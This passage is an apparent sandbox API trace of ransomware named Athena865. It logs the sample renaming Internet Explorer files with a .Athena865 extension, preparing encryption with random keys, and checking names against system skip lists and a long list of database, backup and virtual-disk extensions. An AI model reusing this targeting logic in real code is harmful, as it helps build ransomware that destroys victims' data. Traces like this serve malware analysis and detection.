(lpString=".dll") returned 4 [0065.017] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".dll") returned 1 [0065.017] lstrlenW (lpString=".lnk") returned 4 [0065.017] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".lnk") returned 1 [0065.017] lstrlenW (lpString=".ini") returned 4 [0065.017] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".ini") returned 1 [0065.017] lstrlenW (lpString=".sys") returned 4 [0065.017] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".sys") returned 1 [0065.017] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0065.017] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.Athena865") returned 67 [0065.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.athena865"), dwFlags=0x1) returned 1 [0065.018] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0065.018] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5120) returned 1 [0065.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0065.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.018] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.019] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.019] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.019] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1700, lpName=0x0) returned 0x154 [0065.021] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1700) returned 0x100000 [0065.022] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.023] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.023] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0065.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0065.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.024] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.024] CloseHandle (hObject=0x154) returned 1 [0065.024] CloseHandle (hObject=0x17c) returned 1 [0065.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0065.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.024] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0065.024] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.024] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.024] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0065.024] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0065.024] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="windows") returned -1 [0065.024] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="bootmgr") returned 1 [0065.024] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="temp") returned -1 [0065.024] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="pagefile.sys") returned -1 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="boot") returned 1 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="ids.txt") returned 1 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="ntuser.dat") returned -1 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="perflogs") returned -1 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="MSBuild") returned -1 [0065.025] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0065.025] lstrcpyW (in: lpString1=0x241e89a, lpString2="jsdbgui.dll.mui" | out: lpString1="jsdbgui.dll.mui") returned="jsdbgui.dll.mui" [0065.025] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0065.025] lstrlenW (lpString="Athena865") returned 9 [0065.025] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0065.025] lstrlenW (lpString=".dll") returned 4 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".dll") returned 1 [0065.025] lstrlenW (lpString=".lnk") returned 4 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".lnk") returned 1 [0065.025] lstrlenW (lpString=".ini") returned 4 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".ini") returned 1 [0065.025] lstrlenW (lpString=".sys") returned 4 [0065.025] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".sys") returned 1 [0065.025] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0065.025] lstrlenW (lpString="bak") returned 3 [0065.025] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0065.025] lstrlenW (lpString="ba_") returned 3 [0065.025] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0065.025] lstrlenW (lpString="dbb") returned 3 [0065.025] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0065.025] lstrlenW (lpString="vmdk") returned 4 [0065.025] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0065.025] lstrlenW (lpString="rar") returned 3 [0065.025] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0065.025] lstrlenW (lpString="zip") returned 3 [0065.025] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0065.025] lstrlenW (lpString="tgz") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0065.026] lstrlenW (lpString="vbox") returned 4 [0065.026] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0065.026] lstrlenW (lpString="vdi") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0065.026] lstrlenW (lpString="vhd") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0065.026] lstrlenW (lpString="vhdx") returned 4 [0065.026] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0065.026] lstrlenW (lpString="avhd") returned 4 [0065.026] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0065.026] lstrlenW (lpString="db") returned 2 [0065.026] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0065.026] lstrlenW (lpString="db2") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0065.026] lstrlenW (lpString="db3") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0065.026] lstrlenW (lpString="dbf") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0065.026] lstrlenW (lpString="mdf") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0065.026] lstrlenW (lpString="mdb") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0065.026] lstrlenW (lpString="sql") returned 3 [0065.026] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0065.026] lstrlenW (lpString="sqlite") returned 6 [0065.026] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0065.026] lstrlenW (lpString="sqlite3") returned 7 [0065.026] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0065.026] lstrlenW (lpString="sqlitedb") returned 8 [0065.026] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0065.026] lstrlenW (lpString="xml") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0065.027] lstrlenW (lpString="$er") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0065.027] lstrlenW (lpString="4dd") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0065.027] lstrlenW (lpString="4dl") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0065.027] lstrlenW (lpString="^^^") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0065.027] lstrlenW (lpString="abs") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0065.027] lstrlenW (lpString="abx") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0065.027] lstrlenW (lpString="accdb") returned 5 [0065.027] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0065.027] lstrlenW (lpString="accdc") returned 5 [0065.027] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0065.027] lstrlenW (lpString="accde") returned 5 [0065.027] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0065.027] lstrlenW (lpString="accdr") returned 5 [0065.027] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0065.027] lstrlenW (lpString="accdt") returned 5 [0065.027] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0065.027] lstrlenW (lpString="accdw") returned 5 [0065.027] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0065.027] lstrlenW (lpString="accft") returned 5 [0065.027] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0065.027] lstrlenW (lpString="adb") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0065.027] lstrlenW (lpString="adb") returned 3 [0065.027] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0065.027] lstrlenW (lpString="ade") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0065.028] lstrlenW (lpString="adf") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0065.028] lstrlenW (lpString="adn") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0065.028] lstrlenW (lpString="adp") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0065.028] lstrlenW (lpString="alf") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0065.028] lstrlenW (lpString="ask") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0065.028] lstrlenW (lpString="btr") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0065.028] lstrlenW (lpString="cat") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0065.028] lstrlenW (lpString="cdb") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0065.028] lstrlenW (lpString="ckp") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0065.028] lstrlenW (lpString="cma") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0065.028] lstrlenW (lpString="cpd") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0065.028] lstrlenW (lpString="dacpac") returned 6 [0065.028] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0065.028] lstrlenW (lpString="dad") returned 3 [0065.028] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0065.028] lstrlenW (lpString="dadiagrams") returned 10 [0065.028] lstrcmpiW (lpString1="ui.dll.mui", lpString2="dadiagrams") returned 1 [0065.028] lstrlenW (lpString="daschema") returned 8 [0065.028] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0065.028] lstrlenW (lpString="db-journal") returned 10 [0065.029] lstrcmpiW (lpString1="ui.dll.mui", lpString2="db-journal") returned 1 [0065.029] lstrlenW (lpString="db-shm") returned 6 [0065.029] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0065.029] lstrlenW (lpString="db-wal") returned 6 [0065.029] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0065.029] lstrlenW (lpString="dbc") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0065.029] lstrlenW (lpString="dbs") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0065.029] lstrlenW (lpString="dbt") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0065.029] lstrlenW (lpString="dbv") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0065.029] lstrlenW (lpString="dbx") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0065.029] lstrlenW (lpString="dcb") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0065.029] lstrlenW (lpString="dct") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0065.029] lstrlenW (lpString="dcx") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0065.029] lstrlenW (lpString="ddl") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0065.029] lstrlenW (lpString="dlis") returned 4 [0065.029] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0065.029] lstrlenW (lpString="dp1") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0065.029] lstrlenW (lpString="dqy") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0065.029] lstrlenW (lpString="dsk") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0065.029] lstrlenW (lpString="dsn") returned 3 [0065.029] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0065.030] lstrlenW (lpString="dtsx") returned 4 [0065.030] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0065.030] lstrlenW (lpString="dxl") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0065.030] lstrlenW (lpString="eco") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0065.030] lstrlenW (lpString="ecx") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0065.030] lstrlenW (lpString="edb") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0065.030] lstrlenW (lpString="epim") returned 4 [0065.030] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0065.030] lstrlenW (lpString="fcd") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0065.030] lstrlenW (lpString="fdb") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0065.030] lstrlenW (lpString="fic") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0065.030] lstrlenW (lpString="flexolibrary") returned 12 [0065.030] lstrcmpiW (lpString1="bgui.dll.mui", lpString2="flexolibrary") returned -1 [0065.030] lstrlenW (lpString="fm5") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0065.030] lstrlenW (lpString="fmp") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0065.030] lstrlenW (lpString="fmp12") returned 5 [0065.030] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0065.030] lstrlenW (lpString="fmpsl") returned 5 [0065.030] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0065.030] lstrlenW (lpString="fol") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0065.030] lstrlenW (lpString="fp3") returned 3 [0065.030] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0065.031] lstrlenW (lpString="fp4") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0065.031] lstrlenW (lpString="fp5") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0065.031] lstrlenW (lpString="fp7") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0065.031] lstrlenW (lpString="fpt") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0065.031] lstrlenW (lpString="frm") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0065.031] lstrlenW (lpString="gdb") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0065.031] lstrlenW (lpString="gdb") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0065.031] lstrlenW (lpString="grdb") returned 4 [0065.031] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0065.031] lstrlenW (lpString="gwi") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0065.031] lstrlenW (lpString="hdb") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0065.031] lstrlenW (lpString="his") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0065.031] lstrlenW (lpString="ib") returned 2 [0065.031] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0065.031] lstrlenW (lpString="idb") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0065.031] lstrlenW (lpString="ihx") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0065.031] lstrlenW (lpString="itdb") returned 4 [0065.031] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0065.031] lstrlenW (lpString="itw") returned 3 [0065.031] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0065.031] lstrlenW (lpString="jet") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0065.032] lstrlenW (lpString="jtx") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0065.032] lstrlenW (lpString="kdb") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0065.032] lstrlenW (lpString="kexi") returned 4 [0065.032] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0065.032] lstrlenW (lpString="kexic") returned 5 [0065.032] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0065.032] lstrlenW (lpString="kexis") returned 5 [0065.032] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0065.032] lstrlenW (lpString="lgc") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0065.032] lstrlenW (lpString="lwx") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0065.032] lstrlenW (lpString="maf") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0065.032] lstrlenW (lpString="maq") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0065.032] lstrlenW (lpString="mar") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0065.032] lstrlenW (lpString="marshal") returned 7 [0065.032] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0065.032] lstrlenW (lpString="mas") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0065.032] lstrlenW (lpString="mav") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0065.032] lstrlenW (lpString="maw") returned 3 [0065.032] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0065.032] lstrlenW (lpString="mdbhtml") returned 7 [0065.032] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0065.032] lstrlenW (lpString="mdn") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0065.033] lstrlenW (lpString="mdt") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0065.033] lstrlenW (lpString="mfd") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0065.033] lstrlenW (lpString="mpd") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0065.033] lstrlenW (lpString="mrg") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0065.033] lstrlenW (lpString="mud") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0065.033] lstrlenW (lpString="mwb") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0065.033] lstrlenW (lpString="myd") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0065.033] lstrlenW (lpString="ndf") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0065.033] lstrlenW (lpString="nnt") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0065.033] lstrlenW (lpString="nrmlib") returned 6 [0065.033] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0065.033] lstrlenW (lpString="ns2") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0065.033] lstrlenW (lpString="ns3") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0065.033] lstrlenW (lpString="ns4") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0065.033] lstrlenW (lpString="nsf") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0065.033] lstrlenW (lpString="nv") returned 2 [0065.033] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0065.033] lstrlenW (lpString="nv2") returned 3 [0065.033] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0065.034] lstrlenW (lpString="nwdb") returned 4 [0065.034] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0065.034] lstrlenW (lpString="nyf") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0065.034] lstrlenW (lpString="odb") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0065.034] lstrlenW (lpString="odb") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0065.034] lstrlenW (lpString="oqy") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0065.034] lstrlenW (lpString="ora") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0065.034] lstrlenW (lpString="orx") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0065.034] lstrlenW (lpString="owc") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0065.034] lstrlenW (lpString="p96") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0065.034] lstrlenW (lpString="p97") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0065.034] lstrlenW (lpString="pan") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0065.034] lstrlenW (lpString="pdb") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0065.034] lstrlenW (lpString="pdm") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0065.034] lstrlenW (lpString="pnz") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0065.034] lstrlenW (lpString="qry") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0065.034] lstrlenW (lpString="qvd") returned 3 [0065.034] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0065.034] lstrlenW (lpString="rbf") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0065.035] lstrlenW (lpString="rctd") returned 4 [0065.035] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0065.035] lstrlenW (lpString="rod") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0065.035] lstrlenW (lpString="rodx") returned 4 [0065.035] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0065.035] lstrlenW (lpString="rpd") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0065.035] lstrlenW (lpString="rsd") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0065.035] lstrlenW (lpString="sas7bdat") returned 8 [0065.035] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0065.035] lstrlenW (lpString="sbf") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0065.035] lstrlenW (lpString="scx") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0065.035] lstrlenW (lpString="sdb") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0065.035] lstrlenW (lpString="sdc") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0065.035] lstrlenW (lpString="sdf") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0065.035] lstrlenW (lpString="sis") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0065.035] lstrlenW (lpString="spq") returned 3 [0065.035] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0065.035] lstrlenW (lpString="te") returned 2 [0065.035] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0065.035] lstrlenW (lpString="teacher") returned 7 [0065.035] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0065.035] lstrlenW (lpString="tmd") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0065.036] lstrlenW (lpString="tps") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0065.036] lstrlenW (lpString="trc") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0065.036] lstrlenW (lpString="trc") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0065.036] lstrlenW (lpString="trm") returned 3 [0065.036] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0065.036] 